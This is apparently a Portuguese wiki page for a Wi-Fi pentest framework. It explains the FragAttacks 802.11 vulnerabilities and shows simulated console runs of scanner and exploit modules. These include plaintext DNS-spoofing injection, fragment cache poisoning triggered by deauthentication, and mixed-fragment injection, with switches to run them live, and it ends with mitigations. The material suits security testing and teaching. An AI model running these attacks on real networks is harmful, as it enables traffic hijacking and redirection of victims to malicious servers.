-
Notifications
You must be signed in to change notification settings - Fork 2
FragAttacks ptBR
Idioma: Português (pt-BR) | English: FragAttacks
FragAttacks (Fragmentation and Aggregation Attacks - Ataques de Fragmentação e Agregação) é um conjunto de falhas de design e implementação no padrão Wi-Fi 802.11. Descobertos por Mathy Vanhoef e publicados em 2021, afetam virtualmente todos os dispositivos Wi-Fi independentemente do protocolo de segurança (WEP, WPA, WPA2, WPA3).
| CVE | Nome | Tipo | CVSS | Status |
|---|---|---|---|---|
| CVE-2020-26139 | Encaminhamento de frames EAPOL | Falha de design | 5,3 | Divulgado maio/2021 |
| CVE-2020-26140 | Injeção de texto simples em APs não estritos | Falha de design | 6,5 | Divulgado maio/2021 |
| CVE-2020-26141 | Abuso de cache de fragmentos | Falha de design | 6,5 | Divulgado maio/2021 |
| CVE-2020-26142 | Fragmento processado como frame completo | Falha de design | 5,3 | Divulgado maio/2021 |
| CVE-2020-26143 | Aceitação de fragmento misto plaintext/cifrado | Falha de design | 6,5 | Divulgado maio/2021 |
| CVE-2020-26144 | Aceitar fragmentos broadcast em plaintext | Implementação | 6,5 | Divulgado maio/2021 |
| CVE-2020-26145 | Aceitar A-MSDU broadcast não-SPP em plaintext | Implementação | 6,5 | Divulgado maio/2021 |
| CVE-2020-26146 | Remontar fragmentos com pn não consecutivos | Implementação | 5,3 | Divulgado maio/2021 |
| CVE-2020-26147 | Remontar fragmentos mistos cifrados/plaintext | Implementação | 5,3 | Divulgado maio/2021 |
| Módulo | Descrição |
|---|---|
fragattacks/fragattacks_scanner |
Scanner passivo para detecção de APs vulneráveis a FragAttacks via flags de beacon |
fragattacks/fragattacks_cve_2020_26140 |
CVE-2020-26140 - Injeção de dados em plaintext em APs WPA2 não estritos |
fragattacks/fragattacks_cve_2020_26141 |
CVE-2020-26141 - Abuso de cache de fragmentos / injeção de fragmentos não contíguos |
fragattacks/fragattacks_cve_2020_26143 |
CVE-2020-26143 - Aceitação de fragmento misto plaintext/cifrado |
wifi_lab/fragattacks |
Suite completa FragAttacks (wrapper para todos os módulos) |
Frames 802.11 grandes podem ser fragmentados em partes menores para transmissão. Cada fragmento carrega:
- Um número de fragmento (0-15)
- Um bit "mais fragmentos" (1 se houver mais, 0 para o último)
- O mesmo número de sequência do frame original
O receptor remonta os fragmentos combinando números de sequência e acompanhando o bit "mais fragmentos".
CVE-2020-26140 / 26143 (injeção plaintext/misto): Alguns APs aceitam e encaminham frames de dados em plaintext durante uma sessão WPA2 ativa. Um atacante pode injetar frames em plaintext como fragmentos que o AP remonta e encaminha para um alvo dentro da rede protegida.
CVE-2020-26141 (abuso de cache de fragmentos): Fragmentos permanecem em cache por mais de 10 segundos. Um atacante pode envenenar o cache injetando um primeiro fragmento malicioso, aguardar a retransmissão legítima de um segundo fragmento e fazer com que o AP remonte o frame combinado envenenado.
wxf > use generic/wifi_lab/fragattacks/fragattacks_scanner
wxf (FragAttacksScanner) > set INTERFACE wlan0mon
wxf (FragAttacksScanner) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacksScanner) > run
[*] Scanning AA:BB:CC:DD:EE:FF for FragAttacks vulnerabilities...
[*] Probe 1: checking 802.11n/ac/ax beacon flags (protected management frames)...
[*] Probe 2: checking TKIP fragment handling...
[*] Probe 3: checking A-MSDU subframe header spoofing...
[*] Probe 4: checking plaintext fragment injection acceptance...
Results:
CVE-2020-26140: LIKELY VULNERABLE (no SPP A-MSDU support detected)
CVE-2020-26141: LIKELY VULNERABLE (fragment cache timeout > 5s)
CVE-2020-26143: CHECKING - requires active association test
CVE-2020-26144: NOT TESTED (requires association)
PMF enabled: no (makes CVE-2020-26139 easier)
[*] Recommend: test CVE-2020-26140 and CVE-2020-26141 with associated client
Impacto: Um atacante pode injetar pacotes IP arbitrários em plaintext em uma rede protegida por WPA2, explorando APs que aceitam frames de dados em plaintext não estritos.
Cenário de ataque: Injetar uma resposta DNS apontando para um IP controlado pelo atacante, fazendo clientes se conectarem a um servidor malicioso.
wxf > use generic/wifi_lab/fragattacks/fragattacks_cve_2020_26140
wxf (FragAttacks-26140) > show options
Options:
INTERFACE wlan0mon Interface em modo monitor
TARGET_BSSID (required) BSSID do AP alvo
TARGET_IP (required) Endereço IP do cliente alvo
INJECT_TYPE dns Tipo de payload (dns, arp, icmp, raw)
DNS_NAME example.com Nome DNS a falsificar (para tipo dns)
DNS_IP 10.0.0.1 IP de resposta DNS falsificada
SIMULATE true Simulação
wxf (FragAttacks-26140) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacks-26140) > set TARGET_IP 192.168.1.50
wxf (FragAttacks-26140) > set INJECT_TYPE dns
wxf (FragAttacks-26140) > set DNS_NAME updates.company.com
wxf (FragAttacks-26140) > set DNS_IP 10.10.10.10
wxf (FragAttacks-26140) > set SIMULATE true
wxf (FragAttacks-26140) > run
[SIMULATE] CVE-2020-26140: Plaintext fragment injection
[SIMULATE] Target AP: AA:BB:CC:DD:EE:FF
[SIMULATE] Target client: 192.168.1.50
[SIMULATE] Payload: DNS response for updates.company.com -> 10.10.10.10
[SIMULATE] Frame construction:
[SIMULATE] Header: ToDS=1 FromDS=0 fragment=0 moreFrag=1 protected=0
[SIMULATE] Addr1 (recv): AA:BB:CC:DD:EE:FF (AP)
[SIMULATE] Addr2 (src): spoofed client MAC
[SIMULATE] Addr3 (dest): 192.168.1.50
[SIMULATE] Payload: UDP DNS response (spoofed)
[SIMULATE] Expected behavior on vulnerable AP:
[SIMULATE] AP forwards plaintext frame to target client
[SIMULATE] Client receives spoofed DNS response
[SIMULATE] Client resolves updates.company.com to 10.10.10.10
[!] Set SIMULATE=false to inject live
[!] PREREQ: wlan0mon in monitor mode | Associated client at 192.168.1.50
[!] NOTE: Requires AP that does not enforce 802.11w (PMF)
Impacto: Ao injetar um primeiro fragmento malicioso no cache de remontagem de fragmentos do AP, um atacante pode interceptar ou modificar tráfego legítimo quando o remetente original retransmite fragmentos subsequentes.
wxf > use generic/wifi_lab/fragattacks/fragattacks_cve_2020_26141
wxf (FragAttacks-26141) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacks-26141) > set TARGET_IP 192.168.1.50
wxf (FragAttacks-26141) > set SIMULATE true
wxf (FragAttacks-26141) > run
[SIMULATE] CVE-2020-26141: Fragment cache poisoning
[SIMULATE] Step 1: Inject malicious first fragment (frag=0, moreFrag=1)
[SIMULATE] Malicious fragment sent to AP cache under sequence number X
[SIMULATE] Cache entry: seq=X frag=0 -> [malicious payload]
[SIMULATE] Step 2: Wait for legitimate fragment frag=1 from target
[SIMULATE] Triggering retransmit via deauth... (simulated)
[SIMULATE] Step 3: AP reassembles: [malicious frag 0] + [legitimate frag 1]
[SIMULATE] Combined frame forwarded to target with partial attacker control
[SIMULATE] Fragment cache timeout: 10s (window for step 2)
[SIMULATE] Expected outcome: partial payload modification of target traffic
[!] Set SIMULATE=false to run live
[!] This attack requires precise timing and a vulnerable AP
Impacto: Alguns APs e drivers aceitam frames A-MSDU que começam com um header RFC 1042 em plaintext, permitindo que um atacante faça dados arbitrários serem interpretados como um subframe de um A-MSDU cifrado legítimo.
wxf > use generic/wifi_lab/fragattacks/fragattacks_cve_2020_26143
wxf (FragAttacks-26143) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacks-26143) > set SIMULATE true
wxf (FragAttacks-26143) > run
[SIMULATE] CVE-2020-26143: Mixed plaintext/encrypted fragment
[SIMULATE] Constructing A-MSDU with spoofed plaintext RFC 1042 header
[SIMULATE] Outer frame: encrypted CCMP (looks legitimate to driver)
[SIMULATE] Inner subframe header: plaintext (spoofed destination + EtherType)
[SIMULATE] Payload: attacker-controlled data injected into decrypted result
[SIMULATE] Vulnerable implementations: affected Linux mac80211, some Broadcom drivers
[SIMULATE] Test probes sent: 3 (CCMP with A-MSDU flag set)
[SIMULATE] Analysis: checking beacon IE for A-MSDU support flags
[!] Set SIMULATE=false to test live
[!] PREREQ: Associated STA on target AP network
O módulo wrapper executa os três principais CVEs FragAttacks em sequência:
wxf > use generic/wifi_lab/fragattacks
wxf (FragAttacks) > set INTERFACE wlan0mon
wxf (FragAttacks) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacks) > set SIMULATE true
wxf (FragAttacks) > run
[SIMULATE] FragAttacks full suite
[SIMULATE] Target: AA:BB:CC:DD:EE:FF
[SIMULATE] [1/3] CVE-2020-26140: plaintext injection test... LIKELY_VULNERABLE
[SIMULATE] [2/3] CVE-2020-26141: fragment cache test... LIKELY_VULNERABLE
[SIMULATE] [3/3] CVE-2020-26143: mixed fragment test... INCONCLUSIVE
[SIMULATE] Summary:
CVE-2020-26140: LIKELY VULNERABLE
CVE-2020-26141: LIKELY VULNERABLE
CVE-2020-26143: INCONCLUSIVE (requires active association)
[!] Set SIMULATE=false to run live tests
- Aplicar atualizações de driver e firmware Wi-Fi dos fornecedores
- Habilitar PMF (Protected Management Frames / 802.11w) onde suportado
- Utilizar tuneis cifrados (VPN, TLS) sobre Wi-Fi para mitigar injeção em plaintext
- Ataques de cache de fragmentos são mitigados por alguns drivers modernos que limpam o cache na reconexão
Referências:
Páginas relacionadas: KRACK | Ataques Wi-Fi | Configuração
Autor: André Henrique (@mrhenrike) | União Geek
Primeiros Passos
Ataques Wireless
Drones e UAV
Protocolos Especializados
Ferramentas de Pentest
Hardware